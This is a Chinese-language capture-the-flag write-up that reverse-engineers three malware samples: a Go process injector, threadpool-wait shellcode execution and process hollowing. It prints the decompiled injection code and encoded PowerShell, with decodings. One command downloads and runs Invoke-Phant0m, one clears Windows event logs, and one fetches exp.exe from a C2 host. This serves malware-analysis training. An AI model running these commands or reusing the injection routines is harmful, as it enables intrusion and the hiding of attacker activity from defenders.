網路上其他的都沒有很深入分析每隻惡意程式的原理,所以想分享我的分析與解題步驟
Reverse Engineering - Another Injection
這題是用Golang寫的

void __fastcall main_main(){ int v0; // [rsp+10h] [rbp-60h] _746_uint8 *p__746_uint8; // [rsp+50h] [rbp-20h] __int64 v2[2]; // [rsp+58h] [rbp-18h] BYREF
p__746_uint8 = (_746_uint8 *)runtime_newobject((__int64)&RTYPE__746_uint8); *(_QWORD *)p__746_uint8 = 0x896000000082E8FCLL; *(_QWORD *)&(*p__746_uint8)[8] = 0x8B30508B64C031E5LL; ((void (__fastcall *)(uint8 *, void *))loc_466D5C)(&(*p__746_uint8)[10], &unk_5046FA); v2[0] = (__int64)&RTYPE_string; v2[1] = (__int64)&stru_502058.gcdata; fmt_Fprintln((__int64)&go_itab__os_File_io_Writer, os_Stdout, (__int64)v2, 1, 1); while ( 1 ) { main_getpid(); if ( v0 ) break; time_Sleep(1000000000); } main_inject((__int64)p__746_uint8, 746, 746, v0);}Q1: What is the language the program is written?
A1: golang
Q2: What is the build id?
PS C:\Users\user\CTF\BTLO\6f581df0caadc199d2e99fff84b0534ec52ae272\sample> go tool buildid .\main.exeA2: eck19EyXq_9c975RxNJ1/QkbhfvYWoTcAeJreFwhX/q3HwQW17YdD3iMlLFCzB/1ZpNy-9ah0QEvzlOTFcq
Q3: What is the dependency package the sample uses for invoking windows APIs
大部分都是用Go語言內的syscall,但是看到main_getpid:
int main_getpid(){ uint32 *p_uint32; // rax __int64 *v1; // rcx __int64 v2; // rdx signed __int64 v3; // rdx unsigned __int64 v4; // rcx __int128 v5; // [rsp+8h] [rbp-88h] int v6; // [rsp+34h] [rbp-5Ch] __int64 v7; // [rsp+38h] [rbp-58h] signed __int64 v8; // [rsp+40h] [rbp-50h] unsigned __int64 v9; // [rsp+48h] [rbp-48h] __int64 v10; // [rsp+50h] [rbp-40h] __int64 v11; // [rsp+58h] [rbp-38h] __int64 *v12; // [rsp+60h] [rbp-30h] __int64 v13; // [rsp+68h] [rbp-28h] uint32 *v14; // [rsp+70h] [rbp-20h] _QWORD v15[2]; // [rsp+78h] [rbp-18h] BYREF
v15[0] = "notepad.exe"; v15[1] = 11; v13 = runtime_makeslice((__int64)&RTYPE_uint32, 1000, 1000); p_uint32 = (uint32 *)runtime_newobject((__int64)&RTYPE_uint32); v14 = p_uint32; v1 = v15; v2 = 0; while ( 1 ) { v10 = v2; v12 = v1; v11 = *v1; v7 = v1[1]; if ( github_com_TheTitanrain_w32_EnumProcesses(v13, 1000, 1000, 1000, (__int64)p_uint32) ) { p_uint32 = v14; v4 = (unsigned __int64)*v14 >> 2; if ( v4 > 0x3E8 ) runtime_panicSliceAcap(); v9 = (unsigned __int64)*v14 >> 2; v3 = 0; while ( v3 < (__int64)v4 ) { v8 = v3; v6 = *(_DWORD *)(v13 + 4 * v3); v5 = main_getprocname(v6); if ( *((_QWORD *)&v5 + 1) == v7 && runtime_memequal(v5, v11, *((__int64 *)&v5 + 1)) ) return v6; time_Sleep(15000000); v3 = v8 + 1; p_uint32 = v14; v4 = v9; } } else { p_uint32 = v14; } if ( v10 + 1 >= 1 ) break; v2 = v10 + 1; v1 = v12 + 2; } return 0;}可以看到用了github_com_TheTitanrain_w32_EnumProcesses
A3: github.com/TheTitanrain/w32
Q4 is the victim process? (Hint: 32bit)
要先理解這整支程式在幹嘛
在main_getpid()的地方,回傳notepad.exe的位址
再看到main_inject():
void __golang main_inject(uintptr a1, uintptr a2, __int64 a3, unsigned int a4){ //省略型態宣告...
DLL = syscall_LoadDLL((__int64)"kernel32.dll", 12); if ( v12 ) { v5 = *(_QWORD *)(v12 + 8); goto LABEL_8; } v19 = DLL; Proc = syscall__ptr_DLL_FindProc(DLL, (__int64)"OpenProcess", 11); if ( v13 ) { runtime_gopanic(*(_QWORD *)(v13 + 8));LABEL_8: runtime_gopanic(v5); } v18 = Proc; v17 = syscall__ptr_DLL_FindProc(v19, (__int64)"VirtualAllocEx", 14); v16 = syscall__ptr_DLL_FindProc(v19, (__int64)"WriteProcessMemory", 18); v20 = syscall__ptr_DLL_FindProc(v19, (__int64)"CreateRemoteThread", 18); v21 = syscall__ptr_DLL_FindProc(v19, (__int64)"CloseHandle", 11); p__3_uintptr = (_3_uintptr *)runtime_newobject((__int64)&RTYPE__3_uintptr); (*p__3_uintptr)[0] = 2035711; (*p__3_uintptr)[1] = 0; (*p__3_uintptr)[2] = a4; v15 = syscall__ptr_Proc_Call(v18, (__int64)p__3_uintptr, 3, 3); p__5_uintptr = (_5_uintptr *)runtime_newobject((__int64)&RTYPE__5_uintptr); (*p__5_uintptr)[0] = v15; (*p__5_uintptr)[1] = 0; (*p__5_uintptr)[2] = a2; (*p__5_uintptr)[3] = 4096; (*p__5_uintptr)[4] = 64; v14 = syscall__ptr_Proc_Call(v17, (__int64)p__5_uintptr, 5, 5); if ( !a2 ) runtime_panicIndex(); v9 = (_5_uintptr *)runtime_newobject((__int64)&RTYPE__5_uintptr); (*v9)[0] = v15; (*v9)[1] = v14; (*v9)[2] = a1; (*v9)[3] = a2; (*v9)[4] = 0; syscall__ptr_Proc_Call(v16, (__int64)v9, 5, 5); p__7_uintptr = (_7_uintptr *)runtime_newobject((__int64)&_uintpt::RTYPE); (*p__7_uintptr)[0] = v15; *(_OWORD *)&(*p__7_uintptr)[1] = 0; (*p__7_uintptr)[3] = v14; *(_OWORD *)&(*p__7_uintptr)[4] = 0; (*p__7_uintptr)[6] = 0; syscall__ptr_Proc_Call(v20, (__int64)p__7_uintptr, 7, 7); p__1_uintptr = (_1_uintptr *)runtime_newobject((__int64)&RTYPE__1_uintptr); (*p__1_uintptr)[0] = v15; syscall__ptr_Proc_Call(v21, (__int64)p__1_uintptr, 1, 1);}先用OpenProcess取得剛剛getpid回傳地址的HANDLE hProcess
再用VirtualAllocEx配置一段記憶體,把shellcode寫進去,最後用CreateRemoteThread開一條thread執行shellcode
A4: notepad.exe
Q5: What is the process invoked from the shellcode?
翻shellcode,可以找到
powershell -ep bypass -W hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGgAbABsAGQAegAvAEkAbgB2AG8AawBlAC0AUABoAGEAbgB0ADAAbQAvAG0AYQBzAHQAZQByAC8ASQBuAHYAbwBrAGUALQBQAGgAYQBuAHQAMABtAC4AcABzADEAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABjAGgAYQBuAGcAZQAuAHAAcwAxACIAOwAgAEkAbQBwAG8AcgB0AC0ATQBvAGQAdQBsAGUAIABDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcAGMAaABhAG4AZwBlAC4AcABzADEAOwBJAG4AdgBvAGsAZQAtAFAAaABhAG4AdAAwAG0AOwA=A5: powershell
Q6: What is the name of the created file?
把上面那串拿去base64 UTF-16LE decode:
Invoke-WebRequest "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/master/Invoke-Phant0m.ps1" -OutFile "C:\Windows\Temp\change.ps1"; Import-Module C:\Windows\Temp\change.ps1;Invoke-Phant0m;A6: C:\Windows\Temp\change.ps1
Q7: What is the name of the actual tool executed?
A7: Invoke-Phant0m
Injection Series Part 3
先逆一下main():
int __cdecl main(int argc, const char **argv, const char **envp){ int v3; // eax HANDLE EventW; // edi void *v5; // esi struct _TP_WAIT *ThreadpoolWait; // eax int v8; // eax
v3 = strcmp(argv[1], "message"); if ( v3 ) v3 = v3 < 0 ? -1 : 1; if ( v3 ) { v8 = strcmp(argv[1], "killall"); if ( v8 ) v8 = v8 < 0 ? -1 : 1; if ( !v8 ) system( "powershell -ep bypass -enc QwBsAGUAYQByAC0ARQB2AGUAbgB0AEwAbwBnACAALQBMAG8AZwBuAGEAbQBlACAAYQBwAHAAbABpAGMAYQB0A" "GkAbwBuACwAIgBXAGkAbgBkAG8AdwBzACAAUABvAHcAZQByAFMAaABlAGwAbAAiACwAcwBlAGMAdQByAGkAdAB5ACwAIgBzAHkAcwB0AGUAbQAiAA=="); return 0; } else { EventW = CreateEventW(0, 0, 1, 0); v5 = VirtualAlloc(0, 0x120u, 0x1000u, 0x40u); memmove(v5, &unk_403018, 0x120u); ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v5, 0, 0); SetThreadpoolWait(ThreadpoolWait, EventW, 0); WaitForSingleObject(EventW, 0xFFFFFFFF); return 0; }}Q1: How many arguments does the sample take?
main()只會用到argv
A1: 1
Q2: Again, what is the size of the shellcode? 😉
從第25行開始看:
EventW = CreateEventW(0, 0, 1, 0); //建一個eventv5 = VirtualAlloc(0, 0x120u, 0x1000u, 0x40u); //配置一塊記憶體memmove(v5, &unk_403018, 0x120u); //把&unk_403018寫進去ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v5, 0, 0); //把這段記憶體當作Thread Pool Wait CallbackSetThreadpoolWait(ThreadpoolWait, EventW, 0); //指定這個Wait Object要監聽哪個EventWaitForSingleObject(EventW, 0xFFFFFFFF); //主執行緒等到永遠所以那段&unk_403018就是shellcode,寫入長度為0x120,十進制為288
A2: 288
Q3: In VirtualAlloc what does the flAllocationType value represents?
參考MS Learn對VirtualAlloc的定義:
LPVOID VirtualAlloc( [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect);flAllocationType是第三個參數,在程式中傳入值為0x1000,對應到MEM_COMMIT

A3: MEM_COMMIT
Q4: What is the argument required by the sample to run the shellcode?
第9行
A4: message
Q5: What is the payload in Metasploit that would have been used to generate the shellcode?
問chatGPT
A5: windows/messagebox
Q6: What is the API used to create a wait object? 第28行
A6: CreateThreadpoolWait
Q7 is the library function used to copy shellcode between memory blocks?
第27行
A7: memmove
Q8: What argument to the sample invokes powershell process?
第14行
A8: killall
Q9: After decoding the powershell, list the log names as in the order in the script
把powershell要執行的那段base64 UTF-16LE decode:
Clear-EventLog -Logname application,"Windows PowerShell",security,"system"
A9: Application, Windows Powershell, Security, System
Injection Series Part 4
先逆一下main()的地方:
int __cdecl main(int argc, const char **argv, const char **envp){ //省略型態宣告... v3 = (struct _STARTUPINFOA *)operator new(0x44u); memset(v3, 0, sizeof(struct _STARTUPINFOA)); v33 = (struct _PROCESS_INFORMATION *)operator new(0x10u); *v33 = 0; v4 = operator new(0x18u); *(_OWORD *)v4 = 0; *((_QWORD *)v4 + 2) = 0; ReturnLength = 0; CreateProcessA(0, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", 0, 0, 1, 4u, 0, 0, v3, v33); v5 = v33->hProcess; hProcess = v5; NtQueryInformationProcess(v33->hProcess, ProcessBasicInformation, v4, 0x18u, &ReturnLength); v6 = v4[1]; Buffer = 0; NumberOfBytesRead = 0; ReadProcessMemory(v5, (LPCVOID)(v6 + 8), &Buffer, 4u, &NumberOfBytesRead); system( "powershell.exe -ep bypass -windowstyle hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAd" "AB0AHAAOgAvAC8AcwBvAG0AZQBjADIALgBzAGUAcgB2AGUAcgAvAGUAeABwAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIABjADoAXABcAHcAaQBuA" "GQAbwB3AHMAXABcAHQAZQBtAHAAXABcAGUAeABwAC4AZQB4AGUACgA="); FileA = CreateFileA("C:\\windows\\temp\\exp.exe", 0x80000000, 0, 0, 4u, 0, 0); FileSize = GetFileSize(FileA, 0); ProcessHeap = GetProcessHeap(); lpBuffer = HeapAlloc(ProcessHeap, 8u, FileSize); ReadFile(FileA, lpBuffer, FileSize, 0, 0); v10 = lpBuffer; v43 = (char *)lpBuffer + lpBuffer[15]; v11 = *((_DWORD *)v43 + 20); ModuleHandleA = GetModuleHandleA("ntdll"); NtUnmapViewOfSection = (NTSTATUS (__stdcall *)(HANDLE, PVOID))GetProcAddress(ModuleHandleA, "NtUnmapViewOfSection"); NtUnmapViewOfSection(v5, Buffer); v14 = (char *)VirtualAllocEx(v5, Buffer, v11, 0x3000u, 0x40u); Buffer = v14; v31 = *((_DWORD *)v43 + 21); v38 = &v14[-*((_DWORD *)v43 + 13)]; *((_DWORD *)v43 + 13) = v14; WriteProcessMemory(v5, v14, lpBuffer, v31, 0); v41 = (char *)v10 + v10[15] + 248; GetLastError(); v47 = 0; v15 = *((_WORD *)v43 + 3); if ( v15 ) { v16 = v41 + 20; do { WriteProcessMemory(v5, &Buffer[*(v16 - 2)], (char *)lpBuffer + *v16, *(v16 - 1), 0); v16 += 10; ++v47; } while ( v47 < *((unsigned __int16 *)v43 + 3) ); v10 = lpBuffer; v15 = *((_WORD *)v43 + 3); } v17 = 0; v39 = 0; v18 = *((_DWORD *)v43 + 41); v34 = v18; if ( v15 ) { v19 = v41; do { if ( *(_DWORD *)v19 == 1818587694 && v19[4] == 111 ) { v20 = *((_DWORD *)v19 + 5); v21 = 0; v32 = v20; if ( v18 ) { do { v22 = v21 + v20; v21 += 8; v23 = (_DWORD *)((char *)v10 + v22); v24 = (char *)v10 + v21 + v20; v37 = v23; v25 = 0; v36 = v24; v26 = (unsigned int)(v23[1] - 8) >> 1; if ( v26 ) { v35 = v21 + 2 * v26; do { v27 = *(_WORD *)&v24[2 * v25]; if ( v27 >= 0x1000u ) { v47 = 0; v28 = *v23 + (v27 & 0xFFF); ReadProcessMemory(hProcess, &Buffer[v28], &v47, 4u, &NumberOfBytesRead); v47 += (int)v38; WriteProcessMemory(hProcess, &Buffer[v28], &v47, 4u, 0); GetLastError(); v23 = v37; v24 = v36; } ++v25; } while ( v25 < v26 ); v21 = v35; } v18 = v34; v20 = v32; v10 = lpBuffer; } while ( v21 < v34 ); v19 = v41; v17 = v39; } } else { v19 += 40; v41 = v19; } ++v17; v10 = lpBuffer; v39 = v17; } while ( v17 < *((unsigned __int16 *)v43 + 3) ); } v29 = (CONTEXT *)operator new(0x2CCu); memset(&v29->Dr0, 0, 0x2C8u); v29->ContextFlags = 65538; GetThreadContext(v33->hThread, v29); v29->Eax = (DWORD)&Buffer[*((_DWORD *)v43 + 10)]; SetThreadContext(v33->hThread, v29); ResumeThread(v33->hThread); return 0;}Q1: What is the process that would be first spawned by the sample? And what is the API used?
在第12行:
CreateProcessA(0, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", 0, 0, 1, 4u, 0, 0, v3, v33);A1: notepad.exe,CreateProcessA
Q2: The value 4 has been pushed as a parameter to this API, what does that denote?
同上題,CreateProcessA在第6個參數傳入4u,可以去MS learn看他的API document:
BOOL CreateProcessA( [in, optional] LPCSTR lpApplicationName, [in, out, optional] LPSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCSTR lpCurrentDirectory, [in] LPSTARTUPINFOA lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation);可以看到第6個參數名稱是dwCreationFlags,再去看看對他的定義:

A2: CREATE_SUSPENDED
Q3: What is the domain that the malware tries to connect?
找回第21行:
system( "powershell.exe -ep bypass -windowstyle hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAd" "AB0AHAAOgAvAC8AcwBvAG0AZQBjADIALgBzAGUAcgB2AGUAcgAvAGUAeABwAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIABjADoAXABcAHcAaQBuA" "GQAbwB3AHMAXABcAHQAZQBtAHAAXABcAGUAeABwAC4AZQB4AGUACgA=");把那串用base64 UTF-16LE decode:
Invoke-WebRequest -Uri http://somec2.server/exp.exe -OutFile c:\\windows\\temp\\exp.exe
A3: somec2.server
Q4: What is the cmdlet used to download the file and what is the path of the file stored?
同上題的地方
A4: Invoke-WebRequest,c:\windows\temp\exp.exe
Q5: Just after the file download instructions, a function from ntdll has been loaded and invoked by the sample. What is the function name?
看到第32 ~ 34行:
ModuleHandleA = GetModuleHandleA("ntdll");NtUnmapViewOfSection = (NTSTATUS (__stdcall *)(HANDLE, PVOID))GetProcAddress(ModuleHandleA, "NtUnmapViewOfSection");NtUnmapViewOfSection(v5, Buffer);GetModuleHandleA()找出ntdll.dll的位置,再用GetProcAddress()從裡面找出NtUnmapViewOfSection()的位置然後轉型調用
A5: NtUnmapViewOfSection
Q6: After the allocation of memory and writing the date into the allocated memory. What are the 2 APIs used to update the entry point and resume the thread?
首先要先理解這支惡意程式大致上的原理:
- 先開一個notepad.exe
- 從C2下載
exp.exe,整個讀進lpBuffer - 用
NtUnmapViewOfSection()把原本notepad.exe的映像unmap掉,把exp.exe配置進去 - 把eax設定成新的entrypoint繼續跑
第4項就是題目在問的,可以看到第126行
A6: SetThreadContext,ResumeThread
Q7: What is the MITRE ID for this technique implemented in this sample?
我跑去問chatGPT,哈哈

A7: T1055.012
部分資訊可能已經過時









